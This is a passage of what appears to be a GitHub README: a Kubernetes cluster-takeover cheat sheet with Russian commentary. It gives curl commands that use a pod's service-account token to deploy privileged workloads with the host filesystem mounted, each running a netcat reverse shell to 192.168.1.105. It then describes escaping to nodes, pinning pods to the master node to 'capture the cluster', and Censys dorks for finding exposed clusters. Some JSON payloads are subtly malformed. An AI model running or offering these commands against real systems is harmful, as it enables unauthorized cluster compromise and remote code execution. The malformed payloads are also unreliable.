  -d '{"apiVersion": "batch/v1", "kind": "Job", "metadata": {"name": "myjob"}, "spec": {"template": {"spec": {"containers": [{"name": "netcat", "image": "alpine", "command": ["nc", "192.168.1.105", "5555", "-e", "/bin/bash"], "securityContext": {"privileged": true}, "volumeMounts": [{"mountPath": "/host", "name": "host"}]]}, "restartPolicy": "Never", "volumes": [{"name": "host", "hostPath": {"path": "/"}}]}}}}' \
  https://$KUBERNETES_SERVICE_HOST:$KUBERNETES_PORT_443_TCP_PORT/apis/batch/v1/namespaces/{namespace}/jobs"

Creating a CronJob:

curl --cacert /var/run/secrets/kubernetes.io/serviceaccount/ca.crt \
  -H "Authorization: Bearer $(cat /var/run/secrets/kubernetes.io/serviceaccount/token)" \
  -H 'Content-Type: application/json' \
  -X POST \
  -d '{"apiVersion": "batch/v1beta1", "kind": "CronJob", "metadata": {"name": "mycronjob"}, "spec": {"schedule": "*/1 * * * *", "jobTemplate": {"spec": {"template": {"spec": {"containers": [{"name": "netcat", "image": "alpine", "command": ["nc", "192.168.1.105", "5555", "-e", "/bin/bash"], "securityContext": {"privileged": true}, "volumeMounts": [{"mountPath": "/host", "name": "host"}]]}, "restartPolicy": "Never", "volumes": [{"name": "host", "hostPath": {"path": "/"}}]]}}}}}' \
  "https://$KUBERNETES_SERVICE_HOST:$KUBERNETES_PORT_443_TCP_PORT/apis/batch/v1beta1/namespaces/{namespace}/cronjobs"

Creating a DaemonSets:

curl --cacert /var/run/secrets/kubernetes.io/serviceaccount/ca.crt \
     -H "Authorization: Bearer $(cat /var/run/secrets/kubernetes.io/serviceaccount/token)" \
     -H 'Content-Type: application/json' \
     -X POST \
     -d '{"apiVersion": "apps/v1", "kind": "DaemonSet", "metadata": {"name": "mydaemonset"}, "spec": {"selector": {"matchLabels": {"app": "netcat"}}, "template": {"metadata": {"labels": {"app": "netcat"}}, "spec": {"containers": [{"name": "netcat", "image": "alpine", "command": ["nc", "192.168.1.105", "5555", "-e", "/bin/bash"], "securityContext": {"privileged": true}, "volumeMounts": [{"mountPath": "/host", "name": "host"}]}], "volumes": [{"name": "host", "hostPath": {"path": "/"}}]}}}}' \
     "https://$KUBERNETES_SERVICE_HOST:$KUBERNETES_PORT_443_TCP_PORT/apis/apps/v1/namespaces/{namespace}/daemonsets"

Creating a ReplicaSet:

curl --cacert /var/run/secrets/kubernetes.io/serviceaccount/ca.crt \
     -H "Authorization: Bearer $(cat /var/run/secrets/kubernetes.io/serviceaccount/token)" \
     -H 'Content-Type: application/json' \
     -X POST \
     -d '{"apiVersion": "apps/v1", "kind": "ReplicaSet", "metadata": {"name": "myreplicaset"}, "spec": {"replicas": 1, "selector": {"matchLabels": {"app": "netcat"}}, "template": {"metadata": {"labels": {"app": "netcat"}}, "spec": {"containers": [{"name": "netcat", "image": "alpine", "command": ["nc", "192.168.1.105", "5555", "-e", "/bin/bash"], "securityContext": {"privileged": true}, "volumeMounts": [{"mountPath": "/host", "name": "host"}]}], "volumes": [{"name": "host", "hostPath": {"path": "/"}}]}}}}' \
     "https://$KUBERNETES_SERVICE_HOST:$KUBERNETES_PORT_443_TCP_PORT/apis/apps/v1/namespaces/{namespace}/replicasets"

Creating a StatefulSet:

curl --cacert /var/run/secrets/kubernetes.io/serviceaccount/ca.crt \
     -H "Authorization: Bearer $(cat /var/run/secrets/kubernetes.io/serviceaccount/token)" \
     -H 'Content-Type: application/json' \
     -X POST \
     -d '{"apiVersion": "apps/v1", "kind": "StatefulSet", "metadata": {"name": "mystatefulset"}, "spec": {"replicas": 1, "selector": {"matchLabels": {"app": "netcat"}}, "template": {"metadata": {"labels": {"app": "netcat"}}, "spec": {"containers": [{"name": "netcat", "image": "alpine", "command": ["nc", "192.168.1.105", "5555", "-e", "/bin/bash"], "securityContext": {"privileged": true}, "volumeMounts": [{"mountPath": "/host", "name": "host"}]}], "volumes": [{"name": "host", "hostPath": {"path": "/"}}]}}}}' \
     "https://$KUBERNETES_SERVICE_HOST:$KUBERNETES_PORT_443_TCP_PORT/apis/apps/v1/namespaces/{namespace}/statefulsets"
  1. Обязательно поднять свой netcat listener и ждать соединения. После соединения уже сделать escape на ноду. С нее продолжать двигаться.
  2. Вывести список всех нод в кластере, найти мастер ноду, и примонтироваться уже к нужной ноде (к мастеру например), сделать escape на мастер ноду. Кластер захвачен.

Пример указания, что мы хотим примонтироваться к ноде, что имеет имя master. ("nodeName": "master"). В примерах выше можете добавить в curl, и создавать свои поды уже на мастер ноде сразу.

curl --cacert /var/run/secrets/kubernetes.io/serviceaccount/ca.crt \
     -H "Authorization: Bearer $(cat /var/run/secrets/kubernetes.io/serviceaccount/token)" \
     -H 'Content-Type: application/json' \
     -X POST \
     -d '{"apiVersion": "apps/v1", "kind": "StatefulSet", "metadata": {"name": "mystatefulset"}, "spec": {"replicas": 1, "selector": {"matchLabels": {"app": "netcat"}}, "template": {"metadata": {"labels": {"app": "netcat"}}, "spec": {"nodeName": "master", "containers": [{"name": "netcat", "image": "alpine", "command": ["nc", "192.168.1.105", "5555", "-e", "/bin/bash"], "securityContext": {"privileged": true}, "volumeMounts": [{"mountPath": "/host", "name": "host"}]}], "volumes": [{"name": "host", "hostPath": {"path": "/"}}]}}}}' \
     "https://$KUBERNETES_SERVICE_HOST:$KUBERNETES_PORT_443_TCP_PORT

Команда, чтобы вывести все имена нод в кластере.

curl --cacert /var/run/secrets/kubernetes.io/serviceaccount/ca.crt \
  -H "Authorization: Bearer $(cat /var/run/secrets/kubernetes.io/serviceaccount/token)" \
  -H "Content-Type: application/json" \
  -X GET "https://$KUBERNETES_SERVICE_HOST:$KUBERNETES_PORT_443_TCP_PORT/api/v1/nodes" | jq -r '.items[].metadata.name'

Команда, чтобы вывести все имена под в кластере.

curl -X GET https://kubernetes-master/api/v1/namespaces/{namespace}/pods --header "Authorization: Bearer <token>"
curl -X GET https://<kubernetes-master>/api/v1/namespaces --header "Authorization: Bearer <token>"
curl -X GET https://<kubernetes-master>/apis/apps/v1/deployments --header "Authorization: Bearer <token>"
curl -X GET https://<kubernetes-master>/apis/apps/v1/statefulsets --header "Authorization: Bearer <token>"
curl -X GET https://<kubernetes-master>/apis/apps/v1/replicasets --header "Authorization: Bearer <token>"
curl -X GET https://<kubernetes-master>/apis/apps/v1/daemonsets --header "Authorization: Bearer <token>"
curl -X GET https://<kubernetes-master>/apis/batch/v1beta1/cronjobs --header "Authorization: Bearer <token>"
curl -X GET https://<kubernetes-master>/apis/batch/v1/jobs --header "Authorization: Bearer <token>"

exposed clusters

censys dork: services.tls.certificates.leaf_data.names="kubernetes.default.svc.cluster.local"
censys dork: services.kubernetes.pod_names="*"

Outdated Clusters

censys dork: services.kubernetes.version_info.git_version="*"

kubernetes services

> dig +short srv any.any.svc.cluster.local
> nmap -sTV -v -p80 <serviceName.local>

About


Languages

Language:Shell 100.0%